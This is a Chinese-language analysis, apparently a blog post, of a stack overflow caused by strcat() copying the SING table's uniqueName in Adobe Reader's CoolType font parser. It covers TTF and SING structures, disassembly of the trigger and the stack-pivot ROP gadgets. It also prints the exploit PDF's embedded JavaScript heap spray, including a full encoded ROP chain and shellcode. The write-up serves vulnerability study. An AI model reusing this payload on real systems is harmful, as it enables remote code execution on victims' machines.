此漏洞是因strcat()复制SING表而出现的栈溢出漏洞,同时可通过PDF中可运行JS代码的特性来进行堆喷射运行shellcode,达到最终exploitation的目的。
在分析具体漏洞之前,我建议先看看相关的PDF格式说明,以及TTF字体和相关的SING表,SING表的资料比较难找,只能找到一些图片说明。TTF字体结构是“偏移子表”-“表目录”-“X表”这种形式的,其中表目录的结构是
SING表数据结构说明:
了解了相应的基础知识后,我们来具体地查看漏洞代码。直接IDA定位String View到源码,
关键处,大致伪码是这样的:
此处,*(_DWORD*)sing_table_ptr获得的是SING表的tableVersionMajor+tableVersionMinor,比较SING表的version之后才进行strcat(),而(const char*)(sing_table_ptr+0x10)则是uniqueName,此处便是将SING表的uniqueName项复制到&v24处,从而导致溢出。详细的触发情况是这样的:
0803DDAB E8 483D1300 call jmp.MSVCR80.strcat
0803DEAF E8 2A8DFDFF call CoolType.08016BDE
08016C56 E8 C64E0000 call CoolType.0801BB21
0801BB41 FF10 call dword ptr ds:[eax]
0808B308 FF10 call dword ptr ds:[eax] // 触发点,eax=0x12E6D0,距离uniqueName起始处0x7B0字节
到达触发点时的运行栈布局如图所示:
4A80CB38 add ebp,794 //ebp=0x0012E4DC(0x0012DD48+0x794)
4A80CB3E leave //esp=0x0012E4E0(mov esp,ebp;pop ebp),ebp=[0x0012E4DC](0x0FEB0EEA)
4A80CB3F ret //eip=[esp]=0x4A82A714
//首先call dword ptr ds:[eax]运行到0x4A80CB38处,
//将栈向高地址移动,即移动到我们的uniqueName+0x8处
//之后再ret跳到0x4A82A714处
4A82A714 pop esp //esp=[esp](0x0C0C0C0C)
4A82A715 ret //eip=[0x0C0C0C0C]=0x4A8063A5
//第二阶段的gadget将堆栈移动到0x0C0C0C0C处,
//使得我们能通过剩下的gadget配合堆上的参数调用目标函数
剩下的部分就是执行堆喷射处的gadget了,我们可以在PDFStreamDumper中查看到PDF文件嵌入的JS代码
var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ue9d9%u6ebf%u2e0e%ud92b%u2474%u5df4%uc933%u31b1%ued83%u31fc%u147d%u7d03%uec7a%ud7db%u726a%u2823%u136a%ucdad%u135b%u86c9%ua3cb%ucb99%u48e7%uffcf%u3c7c%uf0d8%u8b35%u3e3e%ua0c6%u2103%ubb44%u8157%u7475%uc0aa%u69b2%u9047%ue56b%u05fa%ub318%uaec6%u5552%u524f%u5422%uc57e%u0f39%ue7a0%u3bee%uffe9%u06f3%u74a3%ufdc7%u5d32%ufd16%ua099%u0c97%ue5e3%uef1f%u1f96%u925c%udba0%u481f%uf824%u1b87%u249e%ucf36%uae79%ua434%ue80e%u3b58%u82c2%ub064%u44e5%u82ed%u40c1%u51b6%ud06b%u3712%u0294%ue8fd%u4830%ufc13%u1348%u0379%u29de%u03cf%u31e0%u6c7f%ubad1%ueb10%u68ee%u0355%u31a5%u8cff%ua060%ud142%u1e92%uec80%uab10%u0b78%ude08%u577d%u328e%uc80f%u357b%ue9bc%u56a9%u7a23%ub731%ufac6%uc7d0' );
var rop1 = unescape('%u0C0C%u0C0C');
while (rop1.length + 20 + 8 < 65536)
rop1 +=rop1;
rop2 = rop1.substring(0, (0x0c0c-0x24)/2);
rop2 += shellcode;
rop2 += rop1;
rop3 = rop2.substring(0, 65536/2);
while(rop3.length < 0x80000)
rop3 += rop3;
rop4 = rop3.substring(0, 0x80000 - (0x1020-0x08) / 2);
var final_shellcode = new Array();
for (i=0;i<0x1f0;i++)
final_shellcode[i]=rop4+"s";
只是一串精准定位堆喷射的代码,具体技术目前我也不是很清楚,之后研究清楚了我会回改的。如果现在你想了解更多,可看这里。
第一个栈溢出漏洞分析告一段落,理论上说也可以将剩下的gadget放在栈中,可是0x12E6D0-0x12E4DC之间0x1F4字节的空间不是很大(shellcode.len=0x220),所以索性使用堆喷射来绕过DEP并且加载运行shellcode(真正的功能性shellcode是从0x0C0C0D54处开始的)